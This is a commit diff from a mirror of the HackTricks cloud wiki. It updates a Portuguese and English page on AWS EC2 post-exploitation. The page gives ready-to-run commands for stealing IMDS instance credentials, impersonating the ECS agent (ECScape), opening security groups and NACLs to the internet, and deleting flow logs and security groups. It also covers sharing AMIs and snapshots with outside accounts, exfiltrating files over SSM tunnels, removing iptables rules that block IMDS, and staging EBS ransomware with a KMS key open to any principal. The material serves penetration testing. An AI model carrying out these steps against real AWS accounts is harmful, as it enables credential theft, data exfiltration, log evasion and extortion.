mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+85
-78
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Para mais informações consulte:
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,10 +12,11 @@ Para mais informações consulte:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado normalmente seria enviado para algo como um network intrusion detection system (IDS) para análise e monitoramento.
|
||||
VPC traffic mirroring **duplica o tráfego de entrada e saída para EC2 instances dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias.\
|
||||
Esse tráfego duplicado normalmente seria enviado para algo como um network intrusion detection system (IDS) para análise e monitoramento.\
|
||||
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
|
||||
|
||||
Para mais informações veja esta página:
|
||||
Para mais informações, confira esta página:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +24,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessá-las (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra maneira de verificar o que elas contêm é **criar um AMI e executar uma nova instância (mesmo na sua própria conta) a partir dele**:
|
||||
Instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de acessar isso (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). No entanto, outra forma de verificar o que ela contém é **criar uma AMI e executar uma nova instância (mesmo em sua própria conta) a partir dela**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -47,56 +48,56 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
### Dump de Snapshot do EBS
|
||||
|
||||
**Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto verificá-los deve revelar essas informações.\
|
||||
Se encontrar um **volume sem snapshot** você poderia: **Criar um snapshot** e executar as seguintes ações ou simplesmente **montá-lo em uma instância** dentro da conta:
|
||||
**Snapshots são backups de volumes**, que geralmente contêm **informações sensíveis**, portanto verificá-los deve revelar essas informações.\
|
||||
Se você encontrar um **volume sem snapshot** você poderia: **Criar um snapshot** e executar as seguintes ações ou simplesmente **montá-lo em uma instância** dentro da conta:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
### Exfiltração oculta de disco via AMI Store-to-S3
|
||||
|
||||
Exporte uma EC2 AMI diretamente para o S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem compartilhamento de snapshot. Isso permite forense offline completa ou roubo de dados enquanto mantém a rede da instância inalterada.
|
||||
Exporte um EC2 AMI diretamente para o S3 usando `CreateStoreImageTask` para obter uma imagem de disco raw sem compartilhamento de snapshots. Isso permite forense offline completa ou roubo de dados enquanto deixa a rede da instância inalterada.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
### Roubo de dados em tempo real via EBS Multi-Attach
|
||||
|
||||
Anexe um volume io1/io2 Multi-Attach a uma segunda instância e monte-o em modo somente leitura para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ.
|
||||
Anexe um volume io1/io2 com Multi-Attach a uma segunda instância e monte-o como read-only para extrair dados ao vivo sem snapshots. Útil quando o volume da vítima já tem Multi-Attach habilitado na mesma AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
### Backdoor do EC2 Instance Connect Endpoint
|
||||
|
||||
Crie um EC2 Instance Connect Endpoint, autorize ingress e injete chaves SSH efêmeras para acessar instâncias privadas através de um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
|
||||
Crie um EC2 Instance Connect Endpoint, autorize ingress e injete chaves SSH efêmeras para acessar instâncias privadas por um túnel gerenciado. Concede caminhos rápidos de movimento lateral sem abrir portas públicas.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
### Sequestro do IP privado secundário de ENI do EC2
|
||||
|
||||
Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão allowlisted por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.
|
||||
Mova o IP privado secundário de uma ENI vítima para uma ENI controlada pelo atacante para se passar por hosts confiáveis que estão permitidos por IP. Permite contornar ACLs internas ou regras de SG vinculadas a endereços específicos.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
### Sequestro de Elastic IP para falsificação de tráfego de entrada/saída
|
||||
|
||||
Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego de entrada ou originar conexões de saída que parecem vir de IPs públicos confiáveis.
|
||||
Reassocie um Elastic IP da instância vítima para o atacante para interceptar tráfego inbound ou originar conexões outbound que aparentam vir de IPs públicos confiáveis.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
### Backdoor em Security Group via Managed Prefix Lists
|
||||
|
||||
Se uma regra de security group referencia uma customer-managed prefix list, adicionar CIDRs do atacante à lista expande silenciosamente o acesso por todas as regras de SG dependentes sem modificar o SG em si.
|
||||
|
||||
@@ -104,9 +105,9 @@ Se uma regra de security group referencia uma customer-managed prefix list, adic
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
### Contorno de egress com VPC Endpoint
|
||||
|
||||
Crie gateway ou interface VPC endpoints para recuperar acesso de saída de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna controles IGW/NAT ausentes para exfiltração de dados.
|
||||
Crie VPC endpoints do tipo gateway ou interface para recuperar acesso outbound de subnets isoladas. Aproveitar private links gerenciados pela AWS contorna controles IGW/NAT ausentes para exfiltração de dados.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +115,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras de entrada a security groups (por exemplo, permitindo tcp:80 de 0.0.0.0/0), expondo assim serviços internos para a Internet pública ou para redes não autorizadas.
|
||||
Um atacante com a permissão ec2:AuthorizeSecurityGroupIngress pode adicionar regras inbound a security groups (por exemplo, permitindo tcp:80 a partir de 0.0.0.0/0), expondo assim serviços internos à Internet pública ou a redes não autorizadas.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
Um atacante com permissões ec2:ReplaceNetworkAclEntry (ou similares) pode modificar os Network ACLs (NACLs) de um subnet para torná‑los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo do subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, os NACLs são aplicados no nível do subnet, então alterar um NACL restritivo pode ter um raio de impacto muito maior, permitindo o acesso a muito mais hosts.
|
||||
Um atacante com permissões `ec2:ReplaceNetworkAclEntry` (ou similares) pode modificar os Network ACLs (NACLs) de uma subnet para torná-los muito permissivos — por exemplo permitindo 0.0.0.0/0 em portas críticas — expondo todo o intervalo da subnet para a Internet ou para segmentos de rede não autorizados. Ao contrário dos Security Groups, que são aplicados por instância, os NACLs são aplicados no nível da subnet, então alterar um NACL restritivo pode ter um raio de impacto muito maior ao habilitar acesso a muito mais hosts.
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,89 +132,93 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
Um atacante com permissões ec2:Delete* e iam:Remove* pode deletar recursos e configurações de infraestrutura críticas — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou regras, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata do serviço, perda de dados e perda de evidências forenses.
|
||||
Um atacante com permissões ec2:Delete* e iam:Remove* pode excluir recursos e configurações críticas de infraestrutura — por exemplo key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou regras, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Isso pode causar interrupção imediata do serviço, perda de dados e perda de evidências forenses.
|
||||
|
||||
One example is deleting a security group:
|
||||
Um exemplo é excluir um security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
### VPC Flow Logs Exfiltração entre contas
|
||||
|
||||
Aponte VPC Flow Logs para um bucket S3 controlado pelo atacante para coletar continuamente metadados de rede (source/destination, ports) fora da conta da vítima para reconhecimento de longo prazo.
|
||||
Aponte VPC Flow Logs para um bucket S3 controlado pelo atacante para coletar continuamente metadados de rede (origem/destino, portas) fora da conta da vítima para reconhecimento de longo prazo.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
### Exfiltração de Dados
|
||||
|
||||
#### DNS Exfiltration
|
||||
#### Exfiltração via DNS
|
||||
|
||||
Mesmo que você bloqueie um EC2 para que nenhum tráfego possa sair, ele ainda pode **exfil via DNS**.
|
||||
Mesmo se você bloquear uma EC2 para que nenhum tráfego saia, ela ainda pode **exfiltrar via DNS**.
|
||||
|
||||
- **VPC Flow Logs não registrarão isso**.
|
||||
- Você não tem acesso aos DNS logs da AWS.
|
||||
- **VPC Flow Logs não registrará isso**.
|
||||
- Você não tem acesso aos logs DNS da AWS.
|
||||
- Desative isso definindo "enableDnsSupport" como false com:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
#### Exfiltração via chamadas de API
|
||||
|
||||
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
|
||||
|
||||
### Open Security Group
|
||||
### Security Group aberto
|
||||
|
||||
Você pode obter acesso adicional a serviços de rede abrindo portas assim:
|
||||
Você poderia obter acesso adicional a serviços de rede abrindo portas assim:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e então roubar os dados das instâncias ECS.
|
||||
É possível executar uma instância EC2 e registrá-la para ser usada para rodar instâncias ECS e então roubar os dados das instâncias ECS.
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
|
||||
|
||||
Um comprometimento dentro de qualquer ECS task rodando em uma EC2 container instance normalmente é suficiente para pivotar para o papel do host e para os IAM roles associados a todas as outras tasks naquele node. Como não há isolamento de tarefas para ECS-on-EC2, toda task pode consultar o EC2 Instance Metadata Service (IMDS) por padrão, roubar o container instance profile e então falar o mesmo protocolo WebSocket que o ECS agent usa com o control plane (a primitiva **ECScape**) para requisitar as credenciais de cada task atualmente agendada nesse host. A Latacora documentou esse fluxo na pesquisa ECS-on-EC2 IMDS deles, que o resumo ofensivo a seguir condensa.
|
||||
Em ECS com o launch type EC2, o control plane assume cada task role e envia as credenciais temporárias para o ECS agent pelo canal WebSocket do Agent Communication Service (ACS). O agent então fornece essas credenciais aos containers via o task metadata endpoint (169.254.170.2). A pesquisa ECScape mostra que, se um container consegue acessar o IMDS e roubar o **instance profile**, ele pode impersonatear o agent via ACS e receber **todas** as credenciais de task role naquele host, incluindo credenciais de **task execution role** que não são expostas pelo metadata endpoint.
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
1. **Steal the container instance role from IMDS.** IMDS access is required to obtain the host role used by the ECS agent.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** Com essas credenciais você pode falar no canal WebSocket não documentado que o ECS agent usa; o control plane confia em você como se fosse o agente real e entrega **todas as credenciais IAM das tasks** para o seu processo. Você agora pode executar tasks com privilégios mais altos localmente, dumpar secrets do ambiente das tasks, ou atualizar services/tasks para redeploy workloads que você possa inspecionar completamente.
|
||||
2. **Discover the ACS poll endpoint and required identifiers.** Using the instance role credentials, call `ecs:DiscoverPollEndpoint` to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) `ecs:ListContainerInstances`.
|
||||
3. **Impersonate the ECS agent over ACS.** Initiate a SigV4-signed WebSocket to the poll endpoint and include `sendCredentials=true`. ECS accepts the connection as a valid agent session and begins streaming `IamRoleCredentials` messages for **all** tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.
|
||||
|
||||
**Encontre o PoC em <https://github.com/naorhaziz/ecscape>**
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
Configurar IMDSv2 com `HttpTokens=required` e `HttpPutResponseHopLimit=1` só bloqueia tasks que vivem atrás de um hop extra (Docker bridge). Outros modos de rede permanecem dentro de um hop do Nitro controller e ainda recebem respostas:
|
||||
Configurar IMDSv2 com `HttpTokens=required` e `HttpPutResponseHopLimit=1` apenas bloqueia tasks que vivem por trás de um salto extra (Docker bridge). Outros modos de rede permanecem dentro de um salto do Nitro controller e continuam a receber respostas:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Cada task recebe sua própria ENI que ainda está a um hop do IMDS, então tokens e respostas de metadata chegam com sucesso. |
|
||||
| `host` | ✅ | As tasks compartilham o namespace do host, portanto veem a mesma distância de hop que a instância EC2. |
|
||||
| `bridge` | ❌ | As respostas morrem na Docker bridge porque esse hop extra esgota o limite de hops. |
|
||||
| `awsvpc` | ✅ | Cada task recebe sua própria ENI que ainda está a um salto do IMDS, então tokens e respostas de metadata chegam com sucesso. |
|
||||
| `host` | ✅ | As tasks compartilham o namespace do host, então veem a mesma distância em saltos que a instância EC2. |
|
||||
| `bridge` | ❌ | As respostas morrem na Docker bridge porque esse salto extra esgota o hop limit. |
|
||||
|
||||
Portanto, **nunca presuma que hop limit 1 protege workloads em awsvpc ou host-mode** — sempre teste de dentro dos seus containers.
|
||||
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs, ou ajustes de roteamento não podem bloquear o endereço link-local 169.254.169.254 porque o Nitro injeta ele no host. Verifique `/etc/ecs/ecs.config` por `ECS_AWSVPC_BLOCK_IMDS=true`. Se a flag estiver ausente (padrão) você pode curl IMDS diretamente da task. Se estiver setada, pivoteie para o namespace do host/agent para reverter ou execute suas ferramentas fora do awsvpc.
|
||||
- **awsvpc tasks:** Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check `/etc/ecs/ecs.config` for `ECS_AWSVPC_BLOCK_IMDS=true`. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.
|
||||
|
||||
- **bridge mode:** Quando requisições de metadata falham mesmo com hop limit 1 configurado, os defensores provavelmente inseriram uma regra DROP em `DOCKER-USER` como `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listar `iptables -S DOCKER-USER` expõe isso, e acesso root permite deletar ou reordenar a regra antes de consultar o IMDS.
|
||||
- **bridge mode:** When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a `DOCKER-USER` drop rule such as `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listing `iptables -S DOCKER-USER` exposes it, and root access lets you delete or reorder the rule before querying IMDS.
|
||||
|
||||
- **host mode:** Inspecione a configuração do agent por `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Essa configuração remove os IAM roles das tasks inteiramente, então você deve ou reabilitá-la, mover para tasks awsvpc, ou roubar credenciais através de outro processo no host. Quando o valor é `true` (padrão), todo processo em host-mode — incluindo containers comprometidos — pode acessar o IMDS a menos que filtros bespoke de eBPF/cgroup bloqueiem `169.254.169.254`; procure por programas tc/eBPF ou regras iptables referenciando esse endereço.
|
||||
- **host mode:** Inspect the agent configuration for `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is `true` (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target `169.254.169.254`; look for tc/eBPF programs or iptables rules referencing that address.
|
||||
|
||||
A Latacora até lançou código de validação Terraform (https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) que você pode rodar em uma conta alvo para enumerar quais modos de rede ainda expõem metadata e planejar seu próximo salto em conformidade.
|
||||
Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
|
||||
|
||||
Uma vez que você entenda quais modos expõem o IMDS, pode planejar sua rota pós-exploração: mire em qualquer ECS task, solicite o instance profile, transforme-se no agent, e colha o role de todas as outras tasks para movimento lateral ou persistência dentro do cluster.
|
||||
Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Remover VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -223,7 +228,7 @@ Permissões necessárias:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Além da execução de comandos, o SSM permite tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso de rede devido a Security Groups ou NACLs.
|
||||
Além da execução de comandos, o SSM permite tunelamento de tráfego que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Security Groups ou NACLs.
|
||||
Um dos cenários em que isso é útil é pivotar de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado.
|
||||
|
||||
> Para iniciar uma sessão, é necessário ter o SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
@@ -233,8 +238,8 @@ Um dos cenários em que isso é útil é pivotar de um [Bastion Host](https://ww
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Obtenha as credenciais temporárias AWS do Bastion EC2 com o script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como o perfil `[bastion-ec2]`
|
||||
3. Obtenha as credenciais temporárias do Bastion EC2 da AWS com o [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Transfira as credenciais para sua máquina no arquivo `$HOME/.aws/credentials` como o perfil `[bastion-ec2]`
|
||||
5. Faça login no EKS como o Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
@@ -244,17 +249,17 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via Bastion EC2 e você pode acessar o cluster EKS privado a partir da sua própria máquina executando:
|
||||
8. O tráfego da ferramenta `kubectl` agora é encaminhado através do SSM tunnel via o Bastion EC2 e você pode acessar o cluster EKS privado da sua própria máquina executando:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify ` (ou seu equivalente em ferramentas de auditoria K8s). Visto que o tráfego é tunelado através do túnel seguro AWS SSM, você está protegido contra qualquer tipo de ataque MitM.
|
||||
Observe que as conexões SSL falharão a menos que você defina a flag `--insecure-skip-tls-verify` (ou seu equivalente em ferramentas de auditoria K8s). Como o tráfego é tunelado pelo túnel seguro AWS SSM, você está protegido contra qualquer tipo de ataques MitM.
|
||||
|
||||
Por fim, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para redirecionar (pivot) para qualquer outro serviço AWS ou uma aplicação personalizada.
|
||||
Finalmente, esta técnica não é específica para atacar clusters EKS privados. Você pode definir domínios e portas arbitrárias para pivot para qualquer outro serviço AWS ou uma aplicação customizada.
|
||||
|
||||
---
|
||||
|
||||
#### Encaminhamento Rápido Local ↔️ Remoto Port Forward (AWS-StartPortForwardingSession)
|
||||
#### Rápido Local ↔️ Remoto Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Se você só precisa encaminhar **uma porta TCP do EC2 para sua máquina local** você pode usar o documento SSM `AWS-StartPortForwardingSession` (nenhum parâmetro de host remoto é necessário):
|
||||
```bash
|
||||
@@ -263,24 +268,24 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
O comando estabelece um túnel bidirecional entre sua workstation (`localPortNumber`) e a porta selecionada (`portNumber`) na instance **without opening any inbound Security-Group rules**.
|
||||
O comando estabelece um túnel bidirecional entre sua estação de trabalho (`localPortNumber`) e a porta selecionada (`portNumber`) na instância **sem abrir quaisquer regras de Security-Group de entrada**.
|
||||
|
||||
Common use cases:
|
||||
Casos de uso comuns:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Na instance, inicie um servidor HTTP rápido que aponte para o diretório que você quer exfiltrate:
|
||||
1. Na instância, inicie um servidor HTTP rápido que aponte para o diretório que você quer exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Da sua workstation, recupere os arquivos através do SSM tunnel:
|
||||
2. Da sua estação de trabalho, recupere os arquivos através do túnel SSM:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Acessando aplicações web internas (por exemplo Nessus)**
|
||||
* **Acessando aplicações web internas (ex.: Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -288,7 +293,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Dica: Compress and encrypt evidence antes de exfiltrating it para que o CloudTrail não registre o conteúdo em clear-text:
|
||||
Dica: compacte e criptografe as evidências antes de exfiltrá-las para que o CloudTrail não registre o conteúdo em texto não criptografado:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -297,9 +302,9 @@ Dica: Compress and encrypt evidence antes de exfiltrating it para que o CloudTra
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Pesquisar informações sensíveis em AMIs públicas e privadas
|
||||
### Buscar informações sensíveis em AMIs públicas e privadas
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis em Amazon Machine Images (AMIs) públicas ou privadas**. Ela automatiza o processo de iniciar instâncias a partir das AMIs-alvo, montar seus volumes e escanear em busca de possíveis segredos ou dados sensíveis.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel é uma ferramenta projetada para **buscar informações sensíveis em Amazon Machine Images (AMIs) públicas ou privadas**. Automatiza o processo de inicializar instâncias a partir das AMIs alvo, montar seus volumes e escanear em busca de possíveis secrets ou dados sensíveis.
|
||||
|
||||
### Compartilhar EBS Snapshot
|
||||
```bash
|
||||
@@ -307,9 +312,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Uma prova de conceito semelhante à demonstração de Ransomware mostrada nas notas de post-exploitation do S3. O KMS deveria ser renomeado para RMS (Ransomware Management Service) dada a facilidade de usá-lo para criptografar vários serviços da AWS.
|
||||
Um proof of concept semelhante à demonstração de Ransomware demonstrada nas notas de S3 post-exploitation. KMS deveria ser renomeado para RMS para Ransomware Management Service, dada a facilidade de usá-lo para criptografar vários serviços AWS.
|
||||
|
||||
Primeiro, a partir de uma conta AWS de 'attacker', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo vamos deixar a AWS gerenciar os dados da chave para mim, mas em um cenário realista um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a key policy para permitir que qualquer Principal de conta AWS use a chave. Nesta key policy, o nome da conta era 'AttackSim' e a regra da policy que permite todo o acesso é chamada 'Outside Encryption'
|
||||
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -401,7 +406,7 @@ Primeiro, a partir de uma conta AWS de 'attacker', crie uma chave gerenciada pel
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
A regra da key policy precisa do seguinte habilitado para permitir que ela seja usada para criptografar um volume EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -409,21 +414,21 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
